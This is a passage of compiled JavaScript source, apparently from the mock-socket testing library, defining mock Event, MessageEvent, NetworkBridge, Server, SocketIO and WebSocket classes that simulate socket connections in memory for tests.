Object.assign(this, {\n        type: String(type),\n        bubbles: Boolean(bubbles),\n        cancelable: Boolean(cancelable)\n      });\n    }\n  }]);\n\n  return EventPrototype;\n})();\n\nexports['default'] = EventPrototype;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _eventPrototype = require('./event-prototype');\n\nvar _eventPrototype2 = _interopRequireDefault(_eventPrototype);\n\nvar Event = (function (_EventPrototype) {\n  _inherits(Event, _EventPrototype);\n\n  function Event(type) {\n    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n    _classCallCheck(this, Event);\n\n    _get(Object.getPrototypeOf(Event.prototype), 'constructor', this).call(this);\n\n    if (!type) {\n      throw new TypeError('Failed to construct \\'Event\\': 1 argument required, but only 0 present.');\n    }\n\n    if (typeof eventInitConfig !== 'object') {\n      throw new TypeError('Failed to construct \\'Event\\': parameter 2 (\\'eventInitDict\\') is not an object');\n    }\n\n    var bubbles = eventInitConfig.bubbles;\n    var cancelable = eventInitConfig.cancelable;\n\n    this.type = String(type);\n    this.timeStamp = Date.now();\n    this.target = null;\n    this.srcElement = null;\n    this.returnValue = true;\n    this.isTrusted = false;\n    this.eventPhase = 0;\n    this.defaultPrevented = false;\n    this.currentTarget = null;\n    this.cancelable = cancelable ? Boolean(cancelable) : false;\n    this.canncelBubble = false;\n    this.bubbles = bubbles ? Boolean(bubbles) : false;\n  }\n\n  return Event;\n})(_eventPrototype2['default']);\n\nexports['default'] = Event;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _eventPrototype = require('./event-prototype');\n\nvar _eventPrototype2 = _interopRequireDefault(_eventPrototype);\n\nvar MessageEvent = (function (_EventPrototype) {\n  _inherits(MessageEvent, _EventPrototype);\n\n  function MessageEvent(type) {\n    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n    _classCallCheck(this, MessageEvent);\n\n    _get(Object.getPrototypeOf(MessageEvent.prototype), 'constructor', this).call(this);\n\n    if (!type) {\n      throw new TypeError('Failed to construct \\'MessageEvent\\': 1 argument required, but only 0 present.');\n    }\n\n    if (typeof eventInitConfig !== 'object') {\n      throw new TypeError('Failed to construct \\'MessageEvent\\': parameter 2 (\\'eventInitDict\\') is not an object');\n    }\n\n    var bubbles = eventInitConfig.bubbles;\n    var cancelable = eventInitConfig.cancelable;\n    var data = eventInitConfig.data;\n    var origin = eventInitConfig.origin;\n    var lastEventId = eventInitConfig.lastEventId;\n    var ports = eventInitConfig.ports;\n\n    this.type = String(type);\n    this.timeStamp = Date.now();\n    this.target = null;\n    this.srcElement = null;\n    this.returnValue = true;\n    this.isTrusted = false;\n    this.eventPhase = 0;\n    this.defaultPrevented = false;\n    this.currentTarget = null;\n    this.cancelable = cancelable ? Boolean(cancelable) : false;\n    this.canncelBubble = false;\n    this.bubbles = bubbles ? Boolean(bubbles) : false;\n    this.origin = origin ? String(origin) : '';\n    this.ports = typeof ports === 'undefined' ? null : ports;\n    this.data = typeof data === 'undefined' ? null : data;\n    this.lastEventId = lastEventId ? String(lastEventId) : '';\n  }\n\n  return MessageEvent;\n})(_eventPrototype2['default']);\n\nexports['default'] = MessageEvent;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nvar _server = require('./server');\n\nvar _server2 = _interopRequireDefault(_server);\n\nvar _socketIo = require('./socket-io');\n\nvar _socketIo2 = _interopRequireDefault(_socketIo);\n\nvar _websocket = require('./websocket');\n\nvar _websocket2 = _interopRequireDefault(_websocket);\n\nif (typeof window !== 'undefined') {\n  window.MockServer = _server2['default'];\n  window.MockWebSocket = _websocket2['default'];\n  window.MockSocketIO = _socketIo2['default'];\n}\n\nvar Server = _server2['default'];\nexports.Server = Server;\nvar WebSocket = _websocket2['default'];\nexports.WebSocket = WebSocket;\nvar SocketIO = _socketIo2['default'];\nexports.SocketIO = SocketIO;","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nvar _helpersArrayHelpers = require('./helpers/array-helpers');\n\n/*\n* The network bridge is a way for the mock websocket object to 'communicate' with\n* all avalible servers. This is a singleton object so it is important that you\n* clean up urlMap whenever you are finished.\n*/\n\nvar NetworkBridge = (function () {\n  function NetworkBridge() {\n    _classCallCheck(this, NetworkBridge);\n\n    this.urlMap = {};\n  }\n\n  /*\n  * Attaches a websocket object to the urlMap hash so that it can find the server\n  * it is connected to and the server in turn can find it.\n  *\n  * @param {object} websocket - websocket object to add to the urlMap hash\n  * @param {string} url\n  */\n\n  _createClass(NetworkBridge, [{\n    key: 'attachWebSocket',\n    value: function attachWebSocket(websocket, url) {\n      var connectionLookup = this.urlMap[url];\n\n      if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) === -1) {\n        connectionLookup.websockets.push(websocket);\n        return connectionLookup.server;\n      }\n    }\n\n    /*\n    * Attaches a websocket to a room\n    */\n  }, {\n    key: 'addMembershipToRoom',\n    value: function addMembershipToRoom(websocket, room) {\n      var connectionLookup = this.urlMap[websocket.url];\n\n      if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) !== -1) {\n        if (!connectionLookup.roomMemberships[room]) {\n          connectionLookup.roomMemberships[room] = [];\n        }\n\n        connectionLookup.roomMemberships[room].push(websocket);\n      }\n    }\n\n    /*\n    * Attaches a server object to the urlMap hash so that it can find a websockets\n    * which are connected to it and so that websockets can in turn can find it.\n    *\n    * @param {object} server - server object to add to the urlMap hash\n    * @param {string} url\n    */\n  }, {\n    key: 'attachServer',\n    value: function attachServer(server, url) {\n      var connectionLookup = this.urlMap[url];\n\n      if (!connectionLookup) {\n        this.urlMap[url] = {\n          server: server,\n          websockets: [],\n          roomMemberships: {}\n        };\n\n        return server;\n      }\n    }\n\n    /*\n    * Finds the server which is 'running' on the given url.\n    *\n    * @param {string} url - the url to use to find which server is running on it\n    */\n  }, {\n    key: 'serverLookup',\n    value: function serverLookup(url) {\n      var connectionLookup = this.urlMap[url];\n\n      if (connectionLookup) {\n        return connectionLookup.server;\n      }\n    }\n\n    /*\n    * Finds all websockets which is 'listening' on the given url.\n    *\n    * @param {string} url - the url to use to find all websockets which are associated with it\n    * @param {string} room - if a room is provided, will only return sockets in this room\n    */\n  }, {\n    key: 'websocketsLookup',\n    value: function websocketsLookup(url, room) {\n      var connectionLookup = this.urlMap[url];\n\n      if (!connectionLookup) {\n        return [];\n      }\n\n      if (room) {\n        var members = connectionLookup.roomMemberships[room];\n        return members ? members : [];\n      }\n\n      return connectionLookup.websockets;\n    }\n\n    /*\n    * Removes the entry associated with the url.\n    *\n    * @param {string} url\n    */\n  }, {\n    key: 'removeServer',\n    value: function removeServer(url) {\n      delete this.urlMap[url];\n    }\n\n    /*\n    * Removes the individual websocket from the map of associated websockets.\n    *\n    * @param {object} websocket - websocket object to remove from the url map\n    * @param {string} url\n    */\n  }, {\n    key: 'removeWebSocket',\n    value: function removeWebSocket(websocket, url) {\n      var connectionLookup = this.urlMap[url];\n\n      if (connectionLookup) {\n        connectionLookup.websockets = (0, _helpersArrayHelpers.reject)(connectionLookup.websockets, function (socket) {\n          return socket === websocket;\n        });\n      }\n    }\n\n    /*\n    * Removes a websocket from a room\n    */\n  }, {\n    key: 'removeMembershipFromRoom',\n    value: function removeMembershipFromRoom(websocket, room) {\n      var connectionLookup = this.urlMap[websocket.url];\n      var memberships = connectionLookup.roomMemberships[room];\n\n      if (connectionLookup && memberships !== null) {\n        connectionLookup.roomMemberships[room] = (0, _helpersArrayHelpers.reject)(memberships, function (socket) {\n          return socket === websocket;\n        });\n      }\n    }\n  }]);\n\n  return NetworkBridge;\n})();\n\nexports['default'] = new NetworkBridge();\n// Note: this is a singleton\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nvar _get = function get(_x4, _x5, _x6) { var _again = true; _function: while (_again) { var object = _x4, property = _x5, receiver = _x6; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x4 = parent; _x5 = property; _x6 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _urijs = require('urijs');\n\nvar _urijs2 = _interopRequireDefault(_urijs);\n\nvar _websocket = require('./websocket');\n\nvar _websocket2 = _interopRequireDefault(_websocket);\n\nvar _eventTarget = require('./event-target');\n\nvar _eventTarget2 = _interopRequireDefault(_eventTarget);\n\nvar _networkBridge = require('./network-bridge');\n\nvar _networkBridge2 = _interopRequireDefault(_networkBridge);\n\nvar _helpersCloseCodes = require('./helpers/close-codes');\n\nvar _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);\n\nvar _eventFactory = require('./event-factory');\n\n/*\n* https://github.com/websockets/ws#server-example\n*/\n\nvar Server = (function (_EventTarget) {\n  _inherits(Server, _EventTarget);\n\n  /*\n  * @param {string} url\n  */\n\n  function Server(url) {\n    _classCallCheck(this, Server);\n\n    _get(Object.getPrototypeOf(Server.prototype), 'constructor', this).call(this);\n    this.url = (0, _urijs2['default'])(url).toString();\n    var server = _networkBridge2['default'].attachServer(this, this.url);\n\n    if (!server) {\n      this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error' }));\n      throw new Error('A mock server is already listening on this url');\n    }\n  }\n\n  /*\n   * Alternative constructor to support namespaces in socket.io\n   *\n   * http://socket.io/docs/rooms-and-namespaces/#custom-namespaces\n   */\n\n  /*\n  * This is the main function for the mock server to subscribe to the on events.\n  *\n  * ie: mockServer.on('connection', function() { console.log('a mock client connected'); });\n  *\n  * @param {string} type - The event key to subscribe to. Valid keys are: connection, message, and close.\n  * @param {function} callback - The callback which should be called when a certain event is fired.\n  */\n\n  _createClass(Server, [{\n    key: 'on',\n    value: function on(type, callback) {\n      this.addEventListener(type, callback);\n    }\n\n    /*\n    * This send function will notify all mock clients via their onmessage callbacks that the server\n    * has a message for them.\n    *\n    * @param {*} data - Any javascript object which will be crafted into a MessageObject.\n    */\n  }, {\n    key: 'send',\n    value: function send(data) {\n      var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n      this.emit('message', data, options);\n    }\n\n    /*\n    * Sends a generic message event to all mock clients.\n    */\n  }, {\n    key: 'emit',\n    value: function emit(event, data) {\n      var _this2 = this;\n\n      var options = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];\n      var websockets = options.websockets;\n\n      if (!websockets) {\n        websockets = _networkBridge2['default'].websocketsLookup(this.url);\n      }\n\n      websockets.forEach(function (socket) {\n        socket.dispatchEvent((0, _eventFactory.createMessageEvent)({\n          type: event,\n          data: data,\n          origin: _this2.url,\n          target: socket\n        }));\n      });\n    }\n\n    /*\n    * Closes the connection and triggers the onclose method of all listening\n    * websockets. After that it removes itself from the urlMap so another server\n    * could add itself to the url.\n    *\n    * @param {object} options\n    */\n  }, {\n    key: 'close',\n    value: function close() {\n      var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];\n      var code = options.code;\n      var reason = options.reason;\n      var wasClean = options.wasClean;\n\n      var listeners = _networkBridge2['default'].websocketsLookup(this.url);\n\n      listeners.forEach(function (socket) {\n        socket.readyState = _websocket2['default'].CLOSE;\n        socket.dispatchEvent((0, _eventFactory.createCloseEvent)({\n          type: 'close',\n          target: socket,\n          code: code || _helpersCloseCodes2['default'].CLOSE_NORMAL,\n          reason: reason || '',\n          wasClean: wasClean\n        }));\n      });\n\n      this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close' }), this);\n      _networkBridge2['default'].removeServer(this.url);\n    }\n\n    /*\n    * Returns an array of websockets which are listening to this server\n    */\n  }, {\n    key: 'clients',\n    value: function clients() {\n      return _networkBridge2['default'].websocketsLookup(this.url);\n    }\n\n    /*\n    * Prepares a method to submit an event to members of the room\n    *\n    * e.g. server.to('my-room').emit('hi!');\n    */\n  }, {\n    key: 'to',\n    value: function to(room) {\n      var _this = this;\n      var websockets = _networkBridge2['default'].websocketsLookup(this.url, room);\n      return {\n        emit: function emit(event, data) {\n          _this.emit(event, data, { websockets: websockets });\n        }\n      };\n    }\n  }]);\n\n  return Server;\n})(_eventTarget2['default']);\n\nServer.of = function of(url) {\n  return new Server(url);\n};\n\nexports['default'] = Server;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nvar _get = function get(_x3, _x4, _x5) { var _again = true; _function: while (_again) { var object = _x3, property = _x4, receiver = _x5; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x3 = parent; _x4 = property; _x5 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _urijs = require('urijs');\n\nvar _urijs2 = _interopRequireDefault(_urijs);\n\nvar _helpersDelay = require('./helpers/delay');\n\nvar _helpersDelay2 = _interopRequireDefault(_helpersDelay);\n\nvar _eventTarget = require('./event-target');\n\nvar _eventTarget2 = _interopRequireDefault(_eventTarget);\n\nvar _networkBridge = require('./network-bridge');\n\nvar _networkBridge2 = _interopRequireDefault(_networkBridge);\n\nvar _helpersCloseCodes = require('./helpers/close-codes');\n\nvar _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);\n\nvar _eventFactory = require('./event-factory');\n\n/*\n* The socket-io class is designed to mimick the real API as closely as possible.\n*\n* http://socket.io/docs/\n*/\n\nvar SocketIO = (function (_EventTarget) {\n  _inherits(SocketIO, _EventTarget);\n\n  /*\n  * @param {string} url\n  */\n\n  function SocketIO() {\n    var _this = this;\n\n    var url = arguments.length <= 0 || arguments[0] === undefined ? 'socket.io' : arguments[0];\n    var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1];\n\n    _classCallCheck(this, SocketIO);\n\n    _get(Object.getPrototypeOf(SocketIO.prototype), 'constructor', this).call(this);\n\n    this.binaryType = 'blob';\n    this.url = (0, _urijs2['default'])(url).toString();\n    this.readyState = SocketIO.CONNECTING;\n    this.protocol = '';\n\n    if (typeof protocol === 'string') {\n      this.protocol = protocol;\n    } else if (Array.isArray(protocol) && protocol.length > 0) {\n      this.protocol = protocol[0];\n    }\n\n    var server = _networkBridge2['default'].attachWebSocket(this, this.url);\n\n    /*\n    * Delay triggering the connection events so they can be defined in time.\n    */\n    (0, _helpersDelay2['default'])(function delayCallback() {\n      if (server) {\n        this.readyState = SocketIO.OPEN;\n        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this);\n        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect' }), server, this); // alias\n        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect', target: this }));\n      } else {\n        this.readyState = SocketIO.CLOSED;\n        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this }));\n        this.dispatchEvent((0, _eventFactory.createCloseEvent)({\n          type: 'close',\n          target: this,\n          code: _helpersCloseCodes2['default'].CLOSE_NORMAL\n        }));\n\n        console.error('Socket.io connection to \\'' + this.url + '\\' failed');\n      }\n    }, this);\n\n    /**\n      Add an aliased event listener for close / disconnect\n     */\n    this.addEventListener('close', function (event) {\n      _this.dispatchEvent((0, _eventFactory.createCloseEvent)({\n        type: 'disconnect',\n        target: event.target,\n        code: event.code\n      }));\n    });\n  }\n\n  /*\n  * Closes the SocketIO connection or connection attempt, if any.\n  * If the connection is already CLOSED, this method does nothing.\n  */\n\n  _createClass(SocketIO, [{\n    key: 'close',\n    value: function close() {\n      if (this.readyState !== SocketIO.OPEN) {\n        return undefined;\n      }\n\n      var server = _networkBridge2['default'].serverLookup(this.url);\n      _networkBridge2['default'].removeWebSocket(this, this.url);\n\n      this.readyState = SocketIO.CLOSED;\n      this.dispatchEvent((0, _eventFactory.createCloseEvent)({\n        type: 'close',\n        target: this,\n        code: _helpersCloseCodes2['default'].CLOSE_NORMAL\n      }));\n\n      if (server) {\n        server.dispatchEvent((0, _eventFactory.createCloseEvent)({\n          type: 'disconnect',\n          target: this,\n          code: _helpersCloseCodes2['default'].CLOSE_NORMAL\n        }), server);\n      }\n    }\n\n    /*\n    * Alias for Socket#close\n    *\n    * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L383\n    */\n  }, {\n    key: 'disconnect',\n    value: function disconnect() {\n      this.close();\n    }\n\n    /*\n    * Submits an event to the server with a payload\n    */\n  }, {\n    key: 'emit',\n    value: function emit(event, data) {\n      if (this.readyState !== SocketIO.OPEN) {\n        throw new Error('SocketIO is already in CLOSING or CLOSED state');\n      }\n\n      var messageEvent = (0, _eventFactory.createMessageEvent)({\n        type: event,\n        origin: this.url,\n        data: data\n      });\n\n      var server = _networkBridge2['default'].serverLookup(this.url);\n\n      if (server) {\n        server.dispatchEvent(messageEvent, data);\n      }\n    }\n\n    /*\n    * Submits a 'message' event to the server.\n    *\n    * Should behave exactly like WebSocket#send\n    *\n    * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L113\n    */\n  }, {\n    key: 'send',\n    value: function send(data) {\n      this.emit('message', data);\n    }\n\n    /*\n    * For registering events to be received from the server\n    */\n  }, {\n    key: 'on',\n    value: function on(type, callback) {\n      this.addEventListener(type, callback);\n    }\n\n    /*\n     * Join a room on a server\n     *\n     * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving\n     */\n  }, {\n    key: 'join',\n    value: function join(room) {\n      _networkBridge2['default'].addMembershipToRoom(this, room);\n    }\n\n    /*\n     * Get the websocket to leave the room\n     *\n     * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving\n     */\n  }, {\n    key: 'leave',\n    value: function leave(room) {\n      _networkBridge2['default'].removeMembershipFromRoom(this, room);\n    }\n\n    /*\n     * Invokes all listener functions that are listening to the given event.type property. Each\n     * listener will be passed the event as the first argument.\n     *\n     * @param {object} event - event object which will be passed to all listeners of the event.type property\n     */\n  }, {\n    key: 'dispatchEvent',\n    value: function dispatchEvent(event) {\n      var _this2 = this;\n\n      for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n        customArguments[_key - 1] = arguments[_key];\n      }\n\n      var eventName = event.type;\n      var listeners = this.listeners[eventName];\n\n      if (!Array.isArray(listeners)) {\n        return false;\n      }\n\n      listeners.forEach(function (listener) {\n        if (customArguments.length > 0) {\n          listener.apply(_this2, customArguments);\n        } else {\n          // Regular WebSockets expect a MessageEvent but Socketio.io just wants raw data\n          //  payload instanceof MessageEvent works, but you can't isntance of NodeEvent\n          //  for now we detect if the output has data defined on it\n          listener.call(_this2, event.data ? event.data : event);\n        }\n      });\n    }\n  }]);\n\n  return SocketIO;\n})(_eventTarget2['default']);\n\nSocketIO.CONNECTING = 0;\nSocketIO.OPEN = 1;\nSocketIO.CLOSING = 2;\nSocketIO.CLOSED = 3;\n\n/*\n* Static constructor methods for the IO Socket\n*/\nvar IO = function ioConstructor(url) {\n  return new SocketIO(url);\n};\n\n/*\n* Alias the raw IO() constructor\n*/\nIO.connect = function ioConnect(url) {\n  /* eslint-disable new-cap */\n  return IO(url);\n  /* eslint-enable new-cap */\n};\n\nexports['default'] = IO;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nvar _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _urijs = require('urijs');\n\nvar _urijs2 = _interopRequireDefault(_urijs);\n\nvar _helpersDelay = require('./helpers/delay');\n\nvar _helpersDelay2 = _interopRequireDefault(_helpersDelay);\n\nvar _eventTarget = require('./event-target');\n\nvar _eventTarget2 = _interopRequireDefault(_eventTarget);\n\nvar _networkBridge = require('./network-bridge');\n\nvar _networkBridge2 = _interopRequireDefault(_networkBridge);\n\nvar _helpersCloseCodes = require('./helpers/close-codes');\n\nvar _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);\n\nvar _eventFactory = require('./event-factory');\n\n/*\n* The main websocket class which is designed to mimick the native WebSocket class as close\n* as possible.\n*\n* https://developer.mozilla.org/en-US/docs/Web/API/WebSocket\n*/\n\nvar WebSocket = (function (_EventTarget) {\n  _inherits(WebSocket, _EventTarget);\n\n  /*\n  * @param {string} url\n  */\n\n  function WebSocket(url) {\n    var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1];\n\n    _classCallCheck(this, WebSocket);\n\n    _get(Object.getPrototypeOf(WebSocket.prototype), 'constructor', this).call(this);\n\n    if (!url) {\n      throw new TypeError('Failed to construct \\'WebSocket\\': 1 argument required, but only 0 present.');\n    }\n\n    this.binaryType = 'blob';\n    this.url = (0, _urijs2['default'])(url).toString();\n    this.readyState = WebSocket.CONNECTING;\n    this.protocol = '';\n\n    if (typeof protocol === 'string') {\n      this.protocol = protocol;\n    } else if (Array.isArray(protocol) && protocol.length > 0) {\n      this.protocol = protocol[0];\n    }\n\n    /*\n    * In order to capture the callback function we need to define custom setters.\n    * To illustrate:\n    *   mySocket.onopen = function() { alert(true) };\n    *\n    * The only way to capture that function and hold onto it for later is with the\n    * below code:\n    */\n    Object.defineProperties(this, {\n      onopen: {\n        configurable: true,\n        enumerable: true,\n        get: function get() {\n          return this.listeners.open;\n        },\n        set: function set(listener) {\n          this.addEventListener('open', listener);\n        }\n      },\n      onmessage: {\n        configurable: true,\n        enumerable: true,\n        get: function get() {\n          return this.listeners.message;\n        },\n        set: function set(listener) {\n          this.addEventListener('message', listener);\n        }\n      },\n      onclose: {\n        configurable: true,\n        enumerable: true,\n        get: function get() {\n          return this.listeners.close;\n        },\n        set: function set(listener) {\n          this.addEventListener('close', listener);\n        }\n      },\n      onerror: {\n        configurable: true,\n        enumerable: true,\n        get: function get() {\n          return this.listeners.error;\n        },\n        set: function set(listener) {\n          this.addEventListener('error', listener);\n        }\n      }\n    });\n\n    var server = _networkBridge2['default'].attachWebSocket(this, this.url);\n\n    /*\n    * This delay is needed so that we dont trigger an event before the callbacks have been\n    * setup. For example:\n    *\n    * var socket = new WebSocket('ws://localhost');\n    *\n    * // If we dont have the delay then the event would be triggered right here and this is\n    * // before the onopen had a chance to register itself.\n    *\n    * socket.onopen = () => { // this would never be called };\n    *\n    * // and with the delay the event gets triggered here after all of the callbacks have been\n    * // registered :-)\n    */\n    (0, _helpersDelay2['default'])(function delayCallback() {\n      if (server) {\n        this.readyState = WebSocket.OPEN;\n        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this);\n        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'open', target: this }));\n      } else {\n        this.readyState = WebSocket.CLOSED;\n        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this }));\n        this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close', target: this, code: _helpersCloseCodes2['default'].CLOSE_NORMAL }));\n\n        console.error('WebSocket connection to \\'' + this.url + '\\' failed');\n      }\n    }, this);\n  }\n\n  /*\n  * Transmits data to the server over the WebSocket connection.\n  *\n  * 